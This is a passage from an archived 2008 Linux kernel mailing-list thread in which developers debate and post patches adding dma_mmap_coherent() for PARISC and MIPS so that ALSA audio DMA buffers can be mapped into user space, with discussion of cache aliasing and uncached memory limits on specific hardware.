> > On Wed, 2008-08-20 at 18:53 +0200, Takashi Iwai wrote:
> > > > I'm afraid there are several problems.  The first is that it doesn't do
> > > > what you want.  You can't map a coherent page to userspace (which is at
> > > > a non congruent address on parisc) and still expect it to be
> > > > coherent ... there's going to have to be fiddling with the page table
> > > > caches to make sure coherency isn't destroyed by aliasing effects
> > > 
> > > Hmm...  how bad would be the coherency with such a simple mmap method?
> > > In most cases, we don't need the "perfect" coherency.  Usually one
> > > process mmaps the whole buffer and keep reading/writing.  There is
> > > another use case (sharing the mmapped buffer by multiple processes),
> > > but this can be disabled if we know it's not feasible beforehand.
> > 
> > Unfortunately, the incoherency is between the user and the kernel.
> > That's where the aliasing effects occur, so realistically, even though
> > you've mapped coherent memory to the user, the coherency of that memory
> > is only device <-> kernel.  When the any single user space process
> > writes to it, the device won't see the write unless the user issues a
> > flush.
> 
> Same applied on MIPS.  Some platforms have the additional requirement that
> the buffer must not be mapped by the TLB during the DMA operation or bad
> things could happen.

Well, in the case of audio hardware, the DMA is always running as long
as the stream is running.  So, on such platforms, the usual mappings
are not allowed at all during audio streaming?


Takashi



From - Thu Nov 08 21:02:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.parisc
Subject: Re: [PATCH] mips: Add dma_mmap_coherent()
Date: Thu, 21 Aug 2008 08:55:12 -0500
Lines: 49
Approved: news@gmane.org
Message-ID: <1219326912.3265.2.camel@localhost.localdomain>
References: <s5hk5eezcfe.wl%tiwai@suse.de>
	 <1219249633.3258.18.camel@localhost.localdomain>
	 <s5hzln7vd9d.wl%tiwai@suse.de>
	 <1219255088.3258.45.camel@localhost.localdomain>
	 <s5hr68ivfer.wl%tiwai@suse.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1219327043 30583 80.91.229.12 (21 Aug 2008 13:57:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 21 Aug 2008 13:57:23 +0000 (UTC)
Cc: linux-mips@linux-mips.org, ralf@linux-mips.org,
	Parisc List <linux-parisc@vger.kernel.org>
To: Takashi Iwai <tiwai@suse.de>
Original-X-From: linux-mips-bounce@linux-mips.org Thu Aug 21 15:58:15 2008
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from ftp.linux-mips.org ([213.58.128.207])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KWAeh-0000pQ-HW
	for sgi-linux-mips@gmane.org; Thu, 21 Aug 2008 15:56:51 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:26598 "EHLO
	ftp.linux-mips.org") by ftp.linux-mips.org with ESMTP
	id S28586001AbYHUNzr (ORCPT <rfc822;sgi-linux-mips@gmane.org>);
	Thu, 21 Aug 2008 14:55:47 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 21 Aug 2008 14:55:30 +0100 (BST)
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:21951 "EHLO
	accolon.hansenpartnership.com") by ftp.linux-mips.org with ESMTP
	id S28585679AbYHUNzX (ORCPT <rfc822;linux-mips@linux-mips.org>);
	Thu, 21 Aug 2008 14:55:23 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 7089280BA;
	Thu, 21 Aug 2008 08:55:15 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id J7BGwt0RW3UE; Thu, 21 Aug 2008 08:55:14 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id A5C4F806E;
	Thu, 21 Aug 2008 08:55:13 -0500 (CDT)
In-Reply-To: <s5hr68ivfer.wl%tiwai@suse.de>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
X-archive-position: 20302
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: James.Bottomley@HansenPartnership.com
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:21333 gmane.linux.ports.parisc:638
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/638>

On Thu, 2008-08-21 at 12:19 +0200, Takashi Iwai wrote:
> At Wed, 20 Aug 2008 12:58:08 -0500,
> James Bottomley wrote:
> > 
> > On Wed, 2008-08-20 at 18:53 +0200, Takashi Iwai wrote:
> > > > I'm afraid there are several problems.  The first is that it doesn't do
> > > > what you want.  You can't map a coherent page to userspace (which is at
> > > > a non congruent address on parisc) and still expect it to be
> > > > coherent ... there's going to have to be fiddling with the page table
> > > > caches to make sure coherency isn't destroyed by aliasing effects
> > > 
> > > Hmm...  how bad would be the coherency with such a simple mmap method?
> > > In most cases, we don't need the "perfect" coherency.  Usually one
> > > process mmaps the whole buffer and keep reading/writing.  There is
> > > another use case (sharing the mmapped buffer by multiple processes),
> > > but this can be disabled if we know it's not feasible beforehand.
> > 
> > Unfortunately, the incoherency is between the user and the kernel.
> > That's where the aliasing effects occur, so realistically, even though
> > you've mapped coherent memory to the user, the coherency of that memory
> > is only device <-> kernel.  When the any single user space process
> > writes to it, the device won't see the write unless the user issues a
> > flush.
> 
> I see.  In the case of ALSA mmap mode, a user issues an ioctl to
> notify after the read/write access, so it'd be relatively easy to add
> a sync operation.
> 
> Does the call of dma_sync_*_for_device() suffice for that purpose?

No ... dma_sync_* sync's from the kernel to the device ... you don't
need that if the memory is already coherent.

The problem is that the data you want the device to see is held in a
cache above the user space mapping ... it's that cache that has to be
flushed (i.e. you need to flush through the user mappings, not through
the kernel ones).

> (BTW, how does the fb driver work on this?)

It sets the shared page to uncached on all its mappings.  Turning off
caching (assuming the platform can do it ... not all can) is a good way
to eliminate aliasing issues.

James





From - Thu Nov 08 21:02:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Takashi Iwai <tiwai@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general
Subject: Re: [PATCH] mips: Add dma_mmap_coherent()
Date: Thu, 21 Aug 2008 18:01:49 +0200
Lines: 192
Approved: news@gmane.org
Message-ID: <s5hhc9enyqa.wl%tiwai@suse.de>
References: <s5hk5eezcfe.wl%tiwai@suse.de>
	<1219249633.3258.18.camel@localhost.localdomain>
	<s5hzln7vd9d.wl%tiwai@suse.de>
	<1219255088.3258.45.camel@localhost.localdomain>
	<s5hr68ivfer.wl%tiwai@suse.de>
	<1219326912.3265.2.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka")
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1219334600 28836 80.91.229.12 (21 Aug 2008 16:03:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 21 Aug 2008 16:03:20 +0000 (UTC)
Cc: linux-mips@linux-mips.org, ralf@linux-mips.org,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 21 18:04:12 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KWCce-0007iA-Nn
	for glpp-linux-parisc@gmane.org; Thu, 21 Aug 2008 18:02:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754594AbYHUQBx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 21 Aug 2008 12:01:53 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754516AbYHUQBw
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 21 Aug 2008 12:01:52 -0400
Original-Received: from ns2.suse.de ([195.135.220.15]:53108 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754107AbYHUQBv (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 21 Aug 2008 12:01:51 -0400
Original-Received: from Relay1.suse.de (mail2.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx2.suse.de (Postfix) with ESMTP id 96A3C461A9;
	Thu, 21 Aug 2008 18:01:49 +0200 (CEST)
In-Reply-To: <1219326912.3265.2.camel@localhost.localdomain>
User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka)
 FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/22.2
 (x86_64-suse-linux-gnu) MULE/5.0 (SAKAKI)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:639 gmane.linux.ports.mips.general:21337
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/639>

At Thu, 21 Aug 2008 08:55:12 -0500,
James Bottomley wrote:
> 
> On Thu, 2008-08-21 at 12:19 +0200, Takashi Iwai wrote:
> > At Wed, 20 Aug 2008 12:58:08 -0500,
> > James Bottomley wrote:
> > > 
> > > On Wed, 2008-08-20 at 18:53 +0200, Takashi Iwai wrote:
> > > > > I'm afraid there are several problems.  The first is that it doesn't do
> > > > > what you want.  You can't map a coherent page to userspace (which is at
> > > > > a non congruent address on parisc) and still expect it to be
> > > > > coherent ... there's going to have to be fiddling with the page table
> > > > > caches to make sure coherency isn't destroyed by aliasing effects
> > > > 
> > > > Hmm...  how bad would be the coherency with such a simple mmap method?
> > > > In most cases, we don't need the "perfect" coherency.  Usually one
> > > > process mmaps the whole buffer and keep reading/writing.  There is
> > > > another use case (sharing the mmapped buffer by multiple processes),
> > > > but this can be disabled if we know it's not feasible beforehand.
> > > 
> > > Unfortunately, the incoherency is between the user and the kernel.
> > > That's where the aliasing effects occur, so realistically, even though
> > > you've mapped coherent memory to the user, the coherency of that memory
> > > is only device <-> kernel.  When the any single user space process
> > > writes to it, the device won't see the write unless the user issues a
> > > flush.
> > 
> > I see.  In the case of ALSA mmap mode, a user issues an ioctl to
> > notify after the read/write access, so it'd be relatively easy to add
> > a sync operation.
> > 
> > Does the call of dma_sync_*_for_device() suffice for that purpose?
> 
> No ... dma_sync_* sync's from the kernel to the device ... you don't
> need that if the memory is already coherent.
> 
> The problem is that the data you want the device to see is held in a
> cache above the user space mapping ... it's that cache that has to be
> flushed (i.e. you need to flush through the user mappings, not through
> the kernel ones).
> 
> > (BTW, how does the fb driver work on this?)
> 
> It sets the shared page to uncached on all its mappings.  Turning off
> caching (assuming the platform can do it ... not all can) is a good way
> to eliminate aliasing issues.

Thanks for clarification.
How about the revised patch below (for PARISC)?


Takashi


diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index ccd61b9..680b075 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -545,6 +545,20 @@ static void pa11_dma_sync_sg_for_device(struct device *dev, struct scatterlist *
 		flush_kernel_dcache_range(sg_virt_addr(sglist), sglist->length);
 }
 
+static int pa11_dma_mmap_coherent(struct device *dev,
+				  struct vm_area_struct *vma,
+				  void *cpu_addr, dma_addr_t handle,
+				  size_t size)
+{
+	struct page *pg;
+	pgprot_val(vma->vm_page_prot) |= _PAGE_NO_CACHE;
+	cpu_addr = __va(handle);
+	pg = virt_to_page(cpu_addr);
+	return remap_pfn_range(vma, vma->vm_start,
+			       page_to_pfn(pg) + vma->vm_pgoff,
+			       size, vma->vm_page_prot);
+}
+
 struct hppa_dma_ops pcxl_dma_ops = {
 	.dma_supported =	pa11_dma_supported,
 	.alloc_consistent =	pa11_dma_alloc_consistent,
@@ -558,6 +572,7 @@ struct hppa_dma_ops pcxl_dma_ops = {
 	.dma_sync_single_for_device = pa11_dma_sync_single_for_device,
 	.dma_sync_sg_for_cpu = pa11_dma_sync_sg_for_cpu,
 	.dma_sync_sg_for_device = pa11_dma_sync_sg_for_device,
+	.mmap_coherent =	pa11_dma_mmap_coherent,
 };
 
 static void *fail_alloc_consistent(struct device *dev, size_t size,
@@ -598,4 +613,5 @@ struct hppa_dma_ops pcx_dma_ops = {
 	.dma_sync_single_for_device =	pa11_dma_sync_single_for_device,
 	.dma_sync_sg_for_cpu =		pa11_dma_sync_sg_for_cpu,
 	.dma_sync_sg_for_device =	pa11_dma_sync_sg_for_device,
+	.mmap_coherent =	pa11_dma_mmap_coherent,
 };
diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index b30e38f..dd2ab2c 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -1014,6 +1014,19 @@ ccio_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents,
 	DBG_RUN_SG("%s() DONE (nents %d)\n", __func__, nents);
 }
 
+static int ccio_dma_mmap_coherent(struct device *dev,
+				  struct vm_area_struct *vma,
+				  void *cpu_addr, dma_addr_t handle,
+				  size_t size)
+{
+	struct page *pg;
+	pgprot_val(vma->vm_page_prot) |= _PAGE_NO_CACHE;
+	pg = virt_to_page(cpu_addr);
+	return remap_pfn_range(vma, vma->vm_start,
+			       page_to_pfn(pg) + vma->vm_pgoff,
+			       size, vma->vm_page_prot);
+}
+
 static struct hppa_dma_ops ccio_ops = {
 	.dma_supported =	ccio_dma_supported,
 	.alloc_consistent =	ccio_alloc_consistent,
@@ -1027,6 +1040,7 @@ static struct hppa_dma_ops ccio_ops = {
 	.dma_sync_single_for_device =	NULL,	/* NOP for U2/Uturn */
 	.dma_sync_sg_for_cpu =		NULL,	/* ditto */
 	.dma_sync_sg_for_device =		NULL,	/* ditto */
+	.mmap_coherent =	ccio_dma_mmap_coherent,
 };
 
 #ifdef CONFIG_PROC_FS
diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index bc73b96..403d66d 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -1057,6 +1057,19 @@ sba_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents,
 
 }
 
+static int sba_dma_mmap_coherent(struct device *dev,
+				 struct vm_area_struct *vma,
+				 void *cpu_addr, dma_addr_t handle,
+				 size_t size)
+{
+	struct page *pg;
+	pgprot_val(vma->vm_page_prot) |= _PAGE_NO_CACHE;
+	pg = virt_to_page(cpu_addr);
+	return remap_pfn_range(vma, vma->vm_start,
+			       page_to_pfn(pg) + vma->vm_pgoff,
+			       size, vma->vm_page_prot);
+}
+
 static struct hppa_dma_ops sba_ops = {
 	.dma_supported =	sba_dma_supported,
 	.alloc_consistent =	sba_alloc_consistent,
@@ -1070,6 +1083,7 @@ static struct hppa_dma_ops sba_ops = {
 	.dma_sync_single_for_device =	NULL,
 	.dma_sync_sg_for_cpu =		NULL,
 	.dma_sync_sg_for_device =	NULL,
+	.mmap_coherent =	sba_dma_mmap_coherent,
 };
 
 
diff --git a/include/asm-parisc/dma-mapping.h b/include/asm-parisc/dma-mapping.h
index 53af696..5b357b3 100644
--- a/include/asm-parisc/dma-mapping.h
+++ b/include/asm-parisc/dma-mapping.h
@@ -19,6 +19,9 @@ struct hppa_dma_ops {
 	void (*dma_sync_single_for_device)(struct device *dev, dma_addr_t iova, unsigned long offset, size_t size, enum dma_data_direction direction);
 	void (*dma_sync_sg_for_cpu)(struct device *dev, struct scatterlist *sg, int nelems, enum dma_data_direction direction);
 	void (*dma_sync_sg_for_device)(struct device *dev, struct scatterlist *sg, int nelems, enum dma_data_direction direction);
+	int (*mmap_coherent)(struct device *dev, struct vm_area_struct *vma,
+			     void *cpu_addr, dma_addr_t handle, size_t size);
+
 };
 
 /*
@@ -204,6 +207,15 @@ dma_cache_sync(struct device *dev, void *vaddr, size_t size,
 		flush_kernel_dcache_range((unsigned long)vaddr, size);
 }
 
+static inline int
+dma_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
+		  void *cpu_addr, dma_addr_t handle, size_t size)
+{
+	if (!hppa_dma_ops->mmap_coherent)
+		return -ENXIO;
+	return hppa_dma_ops->mmap_coherent(dev, vma, cpu_addr, handle, size);
+}
+
 static inline void *
 parisc_walk_tree(struct device *dev)
 {
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Takashi Iwai <tiwai@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general
Subject: Re: [PATCH] mips: Add dma_mmap_coherent()
Date: Thu, 21 Aug 2008 18:03:43 +0200
Lines: 102
Approved: news@gmane.org
Message-ID: <s5hfxoynyn4.wl%tiwai@suse.de>
References: <s5hk5eezcfe.wl%tiwai@suse.de>
	<1219249633.3258.18.camel@localhost.localdomain>
	<s5hzln7vd9d.wl%tiwai@suse.de>
	<1219255088.3258.45.camel@localhost.localdomain>
	<s5hr68ivfer.wl%tiwai@suse.de>
	<1219326912.3265.2.camel@localhost.localdomain>
	<s5hhc9enyqa.wl%tiwai@suse.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka")
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1219334701 29154 80.91.229.12 (21 Aug 2008 16:05:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 21 Aug 2008 16:05:01 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-mips@linux-mips.org,
	Parisc List <linux-parisc@vger.kernel.org>
To: ralf@linux-mips.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 21 18:05:45 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KWCeb-0000Dw-Ab
	for glpp-linux-parisc@gmane.org; Thu, 21 Aug 2008 18:04:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751837AbYHUQDp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 21 Aug 2008 12:03:45 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752683AbYHUQDp
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 21 Aug 2008 12:03:45 -0400
Original-Received: from ns2.suse.de ([195.135.220.15]:53329 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751837AbYHUQDo (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 21 Aug 2008 12:03:44 -0400
Original-Received: from Relay2.suse.de (mail2.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx2.suse.de (Postfix) with ESMTP id 95CCE46167;
	Thu, 21 Aug 2008 18:03:43 +0200 (CEST)
In-Reply-To: <s5hhc9enyqa.wl%tiwai@suse.de>
User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka)
 FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/22.2
 (x86_64-suse-linux-gnu) MULE/5.0 (SAKAKI)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:640 gmane.linux.ports.mips.general:21338
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/640>

At Thu, 21 Aug 2008 18:01:49 +0200,
I wrote:
> 
> At Thu, 21 Aug 2008 08:55:12 -0500,
> James Bottomley wrote:
> > 
> > On Thu, 2008-08-21 at 12:19 +0200, Takashi Iwai wrote:
> > > At Wed, 20 Aug 2008 12:58:08 -0500,
> > > James Bottomley wrote:
> > > > 
> > > > On Wed, 2008-08-20 at 18:53 +0200, Takashi Iwai wrote:
> > > > > > I'm afraid there are several problems.  The first is that it doesn't do
> > > > > > what you want.  You can't map a coherent page to userspace (which is at
> > > > > > a non congruent address on parisc) and still expect it to be
> > > > > > coherent ... there's going to have to be fiddling with the page table
> > > > > > caches to make sure coherency isn't destroyed by aliasing effects
> > > > > 
> > > > > Hmm...  how bad would be the coherency with such a simple mmap method?
> > > > > In most cases, we don't need the "perfect" coherency.  Usually one
> > > > > process mmaps the whole buffer and keep reading/writing.  There is
> > > > > another use case (sharing the mmapped buffer by multiple processes),
> > > > > but this can be disabled if we know it's not feasible beforehand.
> > > > 
> > > > Unfortunately, the incoherency is between the user and the kernel.
> > > > That's where the aliasing effects occur, so realistically, even though
> > > > you've mapped coherent memory to the user, the coherency of that memory
> > > > is only device <-> kernel.  When the any single user space process
> > > > writes to it, the device won't see the write unless the user issues a
> > > > flush.
> > > 
> > > I see.  In the case of ALSA mmap mode, a user issues an ioctl to
> > > notify after the read/write access, so it'd be relatively easy to add
> > > a sync operation.
> > > 
> > > Does the call of dma_sync_*_for_device() suffice for that purpose?
> > 
> > No ... dma_sync_* sync's from the kernel to the device ... you don't
> > need that if the memory is already coherent.
> > 
> > The problem is that the data you want the device to see is held in a
> > cache above the user space mapping ... it's that cache that has to be
> > flushed (i.e. you need to flush through the user mappings, not through
> > the kernel ones).
> > 
> > > (BTW, how does the fb driver work on this?)
> > 
> > It sets the shared page to uncached on all its mappings.  Turning off
> > caching (assuming the platform can do it ... not all can) is a good way
> > to eliminate aliasing issues.
> 
> Thanks for clarification.
> How about the revised patch below (for PARISC)?

... and the below is for MIPS.


thanks,

Takashi


diff --git a/arch/mips/mm/dma-default.c b/arch/mips/mm/dma-default.c
index 891312f..2307f56 100644
--- a/arch/mips/mm/dma-default.c
+++ b/arch/mips/mm/dma-default.c
@@ -387,3 +387,16 @@ void dma_cache_sync(struct device *dev, void *vaddr, size_t size,
 }
 
 EXPORT_SYMBOL(dma_cache_sync);
+
+int dma_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
+		      void *cpu_addr, dma_addr_t handle, size_t size)
+{
+	struct page *pg;
+	vma->vm_page_prot = pgprot_noncached(vma->vm_page_prot);
+	cpu_addr = (void *)dma_addr_to_virt(handle);
+	pg = virt_to_page(cpu_addr);
+	return remap_pfn_range(vma, vma->vm_start,
+			       page_to_pfn(pg) + vma->vm_pgoff,
+			       size, vma->vm_page_prot);
+}
+EXPORT_SYMBOL(dma_mmap_coherent);
diff --git a/include/asm-mips/dma-mapping.h b/include/asm-mips/dma-mapping.h
index c64afb4..ab12cd4 100644
--- a/include/asm-mips/dma-mapping.h
+++ b/include/asm-mips/dma-mapping.h
@@ -68,6 +68,9 @@ extern int dma_is_consistent(struct device *dev, dma_addr_t dma_addr);
 extern void dma_cache_sync(struct device *dev, void *vaddr, size_t size,
 	       enum dma_data_direction direction);
 
+extern int dma_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
+			     void *cpu_addr, dma_addr_t handle, size_t size);
+
 #if 0
 #define ARCH_HAS_DMA_DECLARE_COHERENT_MEMORY
 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tsbogend@alpha.franken.de (Thomas Bogendoerfer)
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general
Subject: Re: [PATCH] mips: Add dma_mmap_coherent()
Date: Thu, 21 Aug 2008 23:41:18 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <20080821214118.GA12516@alpha.franken.de>
References: <s5hk5eezcfe.wl%tiwai@suse.de> <1219249633.3258.18.camel@localhost.localdomain> <s5hzln7vd9d.wl%tiwai@suse.de> <1219255088.3258.45.camel@localhost.localdomain> <s5hr68ivfer.wl%tiwai@suse.de> <1219326912.3265.2.camel@localhost.localdomain> <s5hhc9enyqa.wl%tiwai@suse.de> <s5hfxoynyn4.wl%tiwai@suse.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1219354894 5992 80.91.229.12 (21 Aug 2008 21:41:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 21 Aug 2008 21:41:34 +0000 (UTC)
Cc: ralf@linux-mips.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-mips@linux-mips.org,
	Parisc List <linux-parisc@vger.kernel.org>
To: Takashi Iwai <tiwai@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 21 23:42:26 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KWHvF-0001Ra-4G
	for glpp-linux-parisc@gmane.org; Thu, 21 Aug 2008 23:42:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752399AbYHUVlZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 21 Aug 2008 17:41:25 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752840AbYHUVlZ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 21 Aug 2008 17:41:25 -0400
Original-Received: from elvis.franken.de ([193.175.24.41]:49883 "EHLO elvis.franken.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752399AbYHUVlY (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 21 Aug 2008 17:41:24 -0400
Original-Received: from uucp (helo=solo.franken.de)
	by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
	id 1KWHuF-0001Lt-00; Thu, 21 Aug 2008 23:41:23 +0200
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id 2F9F5C3F14; Thu, 21 Aug 2008 23:41:18 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <s5hfxoynyn4.wl%tiwai@suse.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:641 gmane.linux.ports.mips.general:21340
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/641>

On Thu, Aug 21, 2008 at 06:03:43PM +0200, Takashi Iwai wrote:
> > Thanks for clarification.
> > How about the revised patch below (for PARISC)?

the PARISC part will not work for 735 systems, because the CPU can't
map memory uncached, iirc. 

> ... and the below is for MIPS.

for most MIPS system you need the same trick as for PARISC and use 
uncached memory. But there are systems, which can't use uncached
memory. 

One of the is SGI IP28, which needs to be switched to a special
slower mode for uncached accesses, which we avoid completly in the
kernel right now and I don't think making the switch to slow mode
possible in user space is a good idea.

SGI Origin 200/2000, SGI Onyx and some Challenge Systems have a
different problem:

"Uncached Memory Access in SGI Origin 2000 and in Challenge and Onyx Series

    Access to uncached memory is not supported in these systems, in which
    cache coherency is maintained by the hardware, even under access from
    CPUs and concurrent DMA.  There is never a need (and no approved way)
    to access uncached memory in these systems."

That's from the IRIX Device Driver guide.

Right now I can't think of a solutin, which works on every MIPS system.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                                [ RFC1925, 2.3 ]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Takashi Iwai <tiwai@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general
Subject: Re: [PATCH] mips: Add dma_mmap_coherent()
Date: Fri, 22 Aug 2008 08:07:44 +0200
Lines: 60
Approved: news@gmane.org
Message-ID: <s5hbpzl8tvz.wl%tiwai@suse.de>
References: <s5hk5eezcfe.wl%tiwai@suse.de>
	<1219249633.3258.18.camel@localhost.localdomain>
	<s5hzln7vd9d.wl%tiwai@suse.de>
	<1219255088.3258.45.camel@localhost.localdomain>
	<s5hr68ivfer.wl%tiwai@suse.de>
	<1219326912.3265.2.camel@localhost.localdomain>
	<s5hhc9enyqa.wl%tiwai@suse.de>
